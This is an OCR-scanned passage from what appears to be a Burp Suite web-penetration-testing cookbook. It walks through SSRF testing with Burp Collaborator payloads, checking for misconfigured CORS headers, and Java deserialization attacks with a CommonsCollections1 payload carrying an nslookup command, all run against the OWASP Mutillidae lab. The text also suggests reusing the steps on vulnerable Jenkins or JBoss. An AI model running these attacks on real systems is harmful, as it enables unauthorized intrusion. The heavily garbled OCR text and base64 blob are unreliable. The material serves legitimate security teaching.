Referer: hotp://192.1€8.56.101/mutillidae/index.php?page=dns-lockup.php

Content-Type: application/x-www-form-urlencoded

Content-Length: &€

Cookie: showhints=1; PHPSESSID=dcudlotkTfvqlihllpcd49irel; acopendivids=swingset, jotto,phpbbl redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Recuests: 1

target_hostpF§1592. 168. 56. 1018 {dns-lookup-php-subnit-button=Lockup+Dls

12. Switch to the Burp Intruder | Payloads tab and paste the 10 payloads you
copied to the clipboard from the Burp Collaborator client into the Payload
Options [Simple list] textbox using the Paste button:

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

P3ste cgwvhSal2ywySwnzgdbjgroedkueid.burpcoliab. .. b\
| Hn42iv9nTg7u588bdwsrpclzcS30rp.burpcollabor... |
Load .. iB2mgfi7505e3s6vbggbnwiaplipa.burpcollabora...
— | vihejzcj#hxhbfpisnd28ztvgmmdj1 8. burpcollaborat. ..
Remove v35easdjvhoh2fgijnd2zzkvimddb10.burpcollabor... E
Qijixcodmxmbkpnesd734t0grmiléa.burpcollaborato. .
Clear girrjscwduxubspysldfdctegzmgmeb.burpcollabor. ..
=31bS9p2guenelcffikizywisbjcady2. burpcollabor...
vhjhivbm3kwkaiolrgcS72syfplgndc.burpcollaborat... | ¥

| Add | Enter a new item

| Add fromlst .. B

Make sure you uncheck the Payload Encoding checkbox.



13. Click the Start attack button. The attack results table will pop up as your
payloads are processing. Allow the attacks to complete. Note the

burpcollaborator.net URL is placed in the payload marker position of
the target_host parameter:

- 0

JH&&M& w i [ glg [ Pyoats [ Vil }

i Sowngalens u
e Py s v T Lo Ot
| o0 0w
| Hnimdvitoee 0 0 0 4F
L kit W0 0 [ 6F
o onmifeeeltnke 0 0 0 4F

14. Return to the Burp Collaborator client and click the Poll now button to see
whether any SSRF attacks were successful over any of the protocols. If any
requests leaked outside of the network, those requests will appear in this




table along with the specific protocol used. If any requests are shown in this
table, you will need to report the SSRF vulnerability as a finding. As you
can see from the results shown here, numerous DNS queries were made by
the application on behalf of the attacker-provided payloads:



| § Burp Collaborator client — O X

; Click "Copy to clipboard™ to generate Burp Collaborater payloads that wou can use in your own testing. Any interactions that result from using the payloads wil appear below.

Generate Collaborator payloads

Number to generate: |10 Copy to clipboard & Include Collaborator server location

Poll Collaborator interactions

Poll every |&0 seconds Poll now

# 4| Time | Type | Payload Comment

1 2018-Sep-15 11:56:34 UTC DNS ZvyrB2dinz6lyw 3 fifpwdkeTvy ppe E

2 2018-Sep-15 11:56:35 UTC DNS ligduo14xlu7mir181di1 Gotjkpfd4

3 2018-Sep-15 11:56:36 UTC DNS wwwoTzefawTiztdcmegtehtdwvZrgg

4 2018-Sep-15 11:56:36 UTC DNS TfnzgaxgtTgtidnnSnSdxsciiadst

5 2018-5ep-15 11:56:34 UTC DNS raSjlusaoriddoi7 07 40scTzagqggds

[ 2018-Sep-15 11:56:34 UTC DNS §9dykArpnBksc3hmzm33rried5fx3m

i 2018-Sep-15 11:56:36 UTC DNS 1get148k411ntyyhghkyBmnoglwxkm

A 2N1A-Send5 115636 | T DS afkZkdrtnakw cThnzn 1T raRiGO AT ¥
Description | DNS query
The Collaborator server received a DNS lookup of type A for the domain name zvyré2di9z6lyw3flfpwdksTvy1ppe.burpcollaborator.net.




How it works...

Network leaks and overly-generous application parameters can allow an attacker
to have an application make unauthorized calls via various protocols on the
attacker's behalf. In the case of this recipe, the application allows DNS queries to
leak outside of the local machine and connect to the internet.



See also

For more information on SSRF attacks, see this PortSwigger blog entry
at https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-

surface.



https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface

Testing CORS

An application that implements HTML5 CORS means the application will share
browser information with another domain that resides at a different origin. By
design, browser protections prevent external scripts from accessing information
in the browser. This protection is known as Same-Origin Policy (SOP).
However, CORS is a means of bypassing SOP, permissively. If an application
wants to share browser information with a completely different domain, it may
do so with properly-configured CORS headers.

Web-penetration testers must ensure applications that handle AJAX calls (for
example, HTML5) do not have misconfigured CORS headers. Let's see how
Burp can help us identify such misconfigurations.



Getting ready

Using the OWASP Mutillidae II AJAX version of the Pen Test Tool Lookup
page, determine whether the application contains misconfigured CORS headers.



How to do it...

1. Navigate to HTMLS5 | Asynchronous JavaScript and XML | Pen Test Tool
Lookup (AJAX):

o% OWASP Mutillidae Il: Web Pwn in Mass Product

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Kdd1e) Not Logged

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View

; [ Pen Test Tool Lookup (AJAX Version)

OWASP 2010 ’
OWASP 2007 ’ Back e Help Me!
¥ 32
Hints

HTML 5 Web Storage 4

4
Others JavaScript Object Notation (JSON)

Asyncronous Javascript and XML ¥ |Pen Test Tool Lookup (AJAX)
Documentation (AJAX)

M 0ols

2. Select a tool from the listing and click the Lookup Tool button:



Pen Test Tool Lookup (AJAX Version)

QQ Back e Help Me!

—

-I " Switch to POST Version of page
AL
Pen Test Tools

[ Select Pen Test Tool ]

Pen Test Tool XSS Me v

[ Lookup Tool ]

3. Switch to the Burp Proxy | HTTP history tab and find the request you just
made from the AJAX Version Pen Test Tool Lookup page. Flip to the
Response tab:



(e [ oy | soce | scamer | e | s | S | s | compmer | e | ropctptons | Ut | s | 50W Gt | 1500 s | oS |
A

Fier Showng al fems L

t | Host Mehod | URL |Porm.. & Edied | Stahus | Lengih  MMEtype | Exiensin | Tie Comment 5P Cookies
B G IE% 10t T pp——— J MW ™ s o 1521685 101
E1S i L

et | Resiose

Jon v st

HTTR/LL 200 O

Date: Fei, 14 Sep 2018 1£:54:36 CNT
Server: Apache/2,2.14 (Thustu) med momo/2. 4.3 PHP/S, 3, 2-lubustud, 30 with Suhonin-Pateh prosy hesl/2.0.1 mod python/3,3.1 Pyehen/2.6.5 mod 4sl/2,2, 14 OpenSSL/0.5.0k Phusion Passenger/d.0,38
sod pael/2. 0.4 Pael/vs 10,1
¥-Powared-By: PHP/S.3.2-lubustud. 30
Rpirss: Mom, ZE Jul 1997 05:00:00 GHT
Cache-Control: no-cache, must-revalidace
Pragua: no-cache

Content=Length: 298

Conmection: close

Content=Type: application/isen

(*query™: (“toollDRequested®: *12°, "panTastTools®: |("tool id*:*11%,"tool name®:*MSS Ne®, ‘phase _to_use®:"Diwcovery®,"tool type”:"husser”, comsent®:*Firefor add=on. Mtespts common strings vhich
#licit responses fiom databases when S0L injection is present. Not compatible with Pirefox 0.0.7}1)}

4. Let's examine the headers more closely by selecting the Headers tab of the
same Response tab. Though this is an AJAX request, the call is local to the
application instead of being made to a cross-origin domain. Thus, no CORS
headers are present since it is not required. However, if a call to an external
domain were made (for example, Google APIs), then CORS headers would
be required:



| intercept | HITP history IW&bSocketshisturr [optiuns |

Fiter: Showing all tems

# | Host | Method | URL

hitp:/[192.168.56.101 POST Imutilidae/ajax/lookup-pen-test-tool.php

| 169
<L

Request | Response ]

Y

Raw | Headers | Hex TJSUN Beautifier

Name | Value

HTTPA 1 200 OK

Date Fri, 14 Sep 2018 16:54.36 GMT
Server Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-1ubuntu4.30 with
X-Powered-By PHP/S.3.2-1ubuntu4.30

Expires Mon, 26 Jul 1987 05:00:00 GMT
Cache-Control no-cache, must-revalidate
Pragma no-cache

Content-Length 295

Connection close

Content-Type application/json

5. In an AJAX request, there is a call out to an external URL (for example, a
cross-domain). In order to permit the external domain to receive DOM
information from the user's browser session, CORS headers must be
present, including Access-Control-Allow-0Origin: <name of cross
domain>.

6. In the event the CORS header does not specify the name of the external
domain and, instead, uses a wild card (*), this is a vulnerability. Web
pentesters should include this in their report as a misconfigured CORS
headers vulnerability.



How it works...

Since the AJAX call used in this recipe originated from the same place, there is
no need for CORS headers. However, in many cases, AJAX calls are made to
external domains and require explicit permission through the HTTP response
Access-Control-Allow-0rigin header.



See also

For more information on misconfigured CORS headers, see this PortSwigger

blog entry at https://portswigger.net/blog/exploiting-cors-misconfigurations-for-

bitcoins-and-bounties.



https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

Performing Java deserialization
attacks

Serialization is a mechanism provided in various languages that allows the
saving of an object's state in binary format. It is used for speed and obfuscation.
The turning of an object back from binary into an object is deserialization. In
cases where user input is used within an object and that object is later serialized,
it creates an attack vector for arbitrary code-injection and possible remote code-
execution. We will look at a Burp extension that will assist web-penetration
testers in assessing applications for Java Deserialization vulnerabilities.



Getting Ready

Using OWASP Mutillidae IT and a hand-crafted serialized code snippet, we will
demonstrate how to use the Java Serial Killer Burp extension to assist in
performing Java deserialization attacks.



How to do it...

1. Switch to Burp BApp Store and install the Java Serial Killer plugin:

[ Target I Proxy I Spider I Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer TExtender I Project

Extensions | BApp Store T APls T Options 1

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilties.

Name | Installed | Rating | Popularity | Last updated | Detail |
[[Java Serial Kl! Er_| v y RGRaE ARG | 30 Jan 2017 A

In order to create a scenario using a serialized object, we will take a
standard request and add a serialized object to it for the purposes of
demonstrating how you can use the extension to add attacker-controlled
commands to serialized objects.

2. Note the new tab added to your Burp UI menu at the top dedicated to the
newly-installed plugin.
3. Navigate to the Mutillidae homepage.

4. Switch to the Burp Proxy| HTTP history tab and look for the request you
just created by browsing to the Mutillidae homepage:



[ Target I Proxy I Spider T Scanner I Intruder I Repeater I Sequencer IDecoder ICnmparer I Extender I Project options I User options INens I JSON

intercept | HTTP history | WebSockets history | Options |

‘ Filter: Hiding CSS, image and general binary content

# A |Host | Method | URL

| Params | Edited

| Status | Length

MIME type Extension |

| 110 http://192.168.56.101 GET Imutilidae/

200 46134

HTML

‘ -
I Request | Response

Raw | Headers | Hex

GET /mutillidae/ HTTP/1l.1

Host: 15Z.1&8.5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; xE4; rv:£1.0) Gecko/ZD
Accept: text/html,application/xhtml+txml,application/xmnl;q=0.9,*/%;q=0.8
Accepr-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.1€868.56.101/

Connection: close

Upgrade-Insecure-Recuests: 1

Send to Spider

Do an active scan

Do a passive scan

Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser

Add lssue

Send selected text to JSON Web Tokens Tab to decode

Ctris+l
Ctr+R

Send to Java Serial Killer

Unfortunately, there aren't any serialized objects in Mutillidae so we will

have to create one ourselves.

5. Switch to the Decoder tab and copy the following snippet of a serialized

object:

AC ED 00 05 73 72 00 OA 53 65 72 69 61 6C 54 65

6. Paste the hexadecimal numbers into the Decoder tab, click the Encode as...

button, and select base 64:

| Target | Proxy | Spider | Scanner [ Intruder I Repeater | Sequencer [m Comparer ]mmeu i Proct options ]umnp«m ]mn I JSON Beautfier [ JSON Web Tokens IJHQS«:IKIM ]

AC ED 0005 73 72 00 0 53 65 7269 61 6C 5465

TQgh=

QUNMgRUGGMDAY gHIigMDAGMEE gNTM gL

@ Text O Hex |2
| Decode as .. .

Encode as ... x|
| Hash . =
Smart decode

@ Text O Hex

Decode as ... =

Encode as ... .
| Hash ... lJ

Smart decode

7. Copy the base-64 encoded value from the Decoder tab and paste it into the
bottom of the request you sent to the Java Serial Killer tab. Use Ctrl + C to



copy out of Decoder and Ctrl + V to paste it anywhere in the white space
area of the request:



o || e | ] ot e g

f 1

Command:

[ s

CET /mutillyidae/ HITR/L.

Host: 197.168.56. 101

User-Agent: Nozilla/S.0 (Vindows IT 10.0; Vinéd; xéd; tv:61.0) Gecko/20L00L01
Firefon/el.0

Aecept: text/htnl application/dheultxul, application/xel;q=0.9 */% 020,08
Aeeept-Language: en-US en;q=0.5

Aeeept-Encoding: galp, deflate

Referer: http://15C.168.5¢. 101/

Comnection: eloge

Upgrade-Insecure-Requests: |

(MgRUUDAGUDUglrzollz T DAGHEEgN Tl Uiz Ll kgl Bl NglT gl U=




8. Within the Java Serial Killer tab, pick a Java library from the drop-down
list. For this recipe, we will use CommonsCollections1. Check the Base64
Encode box. Add a command to embed into the serialized object. In this
example, we will use the nslookup 127.0.0.1 command. Highlight the
payload and click the Serialize button:

[ Go J | Serialize J V] Bases4 Encode \Ltumrrmnstullel:tiom A { ? J

Command| | nslookup 127.0.0.1

_[Raw I Headers ] Hex 1

GET /mutillidae/ HTTP/L1.1

Host: 192.16B.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; rv:el.0) Gecko/20100101
Firefox/el.0

Apcept: text/htnl,application/xhtuml+xml application/xml;gq=0.9 */*;uq=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://152.168.5c.101/

Connection: close

Upgrade-Insecure-Requests: 1

QUMgRUQgMDAGMD Ugl Mgz IgMDAGMEEgNTH g Ugll= I gl k gl Eqllk Mgl T Qgli U=

9. After clicking the Serialize button, notice the payload has changed and now
contains your arbitrary command and is base-64 encoded:



[ Go J [ Serialize J [ﬂ Base64 Encode |Eummunsﬂullectiun51 ‘FJ t ? J

Command. | nslookup 127.0.0.1

Jﬁaw 1 Params 1 Headers | Hex ‘

GET /wutillidae/ HITP/1.1

Host: 192.168.5&8.101

User-Agent: Mozilla/5.0 (Windeows NT 10.0; Wing4; x64; rv:&l.0) Gecko,/20100101
Firefox/el.0

Aecept: text/html, application/xhtmltxml , application/xml;q=0.59,*%/*;q=0.8
Aecept-Language: en-UsS, en;gq=0_5

Aecept-Encoding: gzip, deflate

Beferer: http://192.168. 56.10L1/

Connection: close

Tpgrade-Insecure-Eequests: 1

Content-Length: 1880

rO0ABXITYAD ] = dWdwenlul: GV dC S Swd GF 0 aWSulk Fulm S 0TKEpL 2 B I bndv T2 FOaWSuE GRuZ Gr Lo L9 08T
YAl AgACT AR TulyTnF s dWV= AP T CphduEv X Bpl OOl AT TAAE dH IwZ K 0 AR g THER L 2 xhbmev( 2k
c37eHEz fQAAAARADWphdnBud-Pph O SHTEB 4 oghanF 2 T3 s TWinlnd 1 Znx 1 T3 QulHIveHnhJ SogzBEDyvwId
Al AVhOACVNanF2TE 9 s TWinL3 T 1 2nx 1 T3 0wiWE 2 h ZNhd G lvhkhhbuEs 21 TeHEz c (Bt AAB s o ghah 3Inlnfy
TWMoZE5 b 2leh 2 belutlvh Gul T3 Rph 2 belul e C ST X p S TWFwhuW g S S EJ QDA FMA L duTWITOL 3T Sl hs T Goy
2y SheGF1atlvyZ St hWSucyd bl xs EW0aW S ueyiTenFue 2 8venl Lo jt 4 cHlvAD preneuTBhY Zhl Lulvh WLy
bnu¥ 2 9sh GV dGLvhntluZntu 3 Brenttul ZhhaW b 1 2F By T bz Zn Sy by MM ek 7 Che L CAAFL ALl pVHI hhnlln
LA ZTed A Wl rvenev T HERT 2l L2 vh W L vhndlvy 2 9 5hGV ) dE Lvbnl v VHI ol 37 ZX1 TeHE Lo gAt Wiy
cucuTEL T2 h] Lntleh Wl vhntuT2 9 sh GV dG LvhbnuVH I hbntlnb 3 Tt 21 TvT T qBdg0 Ik CAAE 4 c AR AR AT oghT
b3InluwFwiWoZ357hl1thlbelulvh Gl T3 Bph 2 iz Lnd Lbnll0h 3 J e L vkt I0TW S OVH It 3T £ ZXJ T dpiR
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clByTWEEZnSyhWTyht)fadt8e gCAATLAA R Ine 30AR Le HanF 2T a9 sTWinLO 9 1 an ) dDE MAAL p TWVO aG5)k
TwFt ZXJAEL x gV ERL 2 xhbnev T3 By alind L s AC 2 L0 T IR VR o Gz AAA WO n qTHERL 2 xhbme v 2 xhe 3MT7 HEL
cohTW0 TR LnxhbneuT 2 JZWIN00SDOWT 8 0oyl sAgAleHAR A A ACAAAEE 2TOTNT G 10 ZXMAETL T GphidnEu
bGFuZyiDhGFzezur FreuyElam( TAAHhwAAAARHOACWALAEL 1 dGhwZHV x AH4AHgAR AR T 2o gAlanF 2V 5 s TW D
LINOcwluZeDwplhed THCAgALeHB 2o QE+AR Sz JB+ARZ L oQB+AB s A A AR o HU n AHA A Gy AR AR OAA T pbnZval Tl
cJE+AB4AAAACNTARGphdnEh GRuly S P Tup L TIQARARAAARAA AL A A wdnEA fgAb o 3RAfgAWLKIAR 1 ManF 2
TabsTWEnLINOcnluZzut 01bne Rl 7 Ew I AAHhwAAA AR K OARM b eh GovadUw D EyITyv4wl J AW AB G4 ZW 1 (B +
AR4AAAABeB+ACNzcB+AEFogARanF 25 bsTWinLl IndGTne I 54Tk 94 GHOAT AAT ABXZNLHV L e HI AR Gl
dnEub GPuZyE0dWLiZFECr JUACE T giw AAHhwA LA AN ARF VKR LNV 0 alvuSGFz aE Lhe ATHZ sHD Pl BAwAC
RgdFhGShiEEh T3 Bvekk ACKRocnVeabSsEHhwPOARAARARARICAARARAAAAR A eHh o ghlanF 2T S 55 TWENRLESZ
Z¥JyaWELlAARAAARARRARARRACHEA fordis



10. Click the Go button within the Java Serial Killer tab to execute the payload.
Even though you may receive an error in the response, ideally, you would
have a listener, such as tcpdump, listening for any DNS lookups on port 53.
From the listener, you would see the DNS query to the IP address you
specified in the nslookup command.



How it works...

In cases where application code receives user input directly into an object
without performing sanitization on such input, an attacker has the opportunity to
provide arbitrary commands. The input is then serialized and run on the
operating system where the application resides, creating a possible attack vector
for remote code execution.



There's more...

Since this recipe scenario is a bit contrived, you may not receive a response on
your network listener for the nslookup command. Try the recipe again after
downloading a vulnerable version of an application with known Java
deserialization vulnerabilities (that is, Jenkins, JBoss). Reuse the same steps
shown here, only change the target application.



See also

¢ For more information about real-world Java deserialization attacks, check
out these links:

o Symantec:
https://www.symantec.com/security_response/attacksignatures/detail.js
p?asid=30326

o Foxglove Security: https://foxglovesecurity.com/2015/11/06/what-do-
weblogic-websphere-jboss-jenkins-opennms-and-your-application-
have-in-common-this-vulnerability/

e To read more about this Burp plugin, check

out https://blog.netspi.com/java-deserialization-attacks-burp/



https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=30326
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://blog.netspi.com/java-deserialization-attacks-burp/
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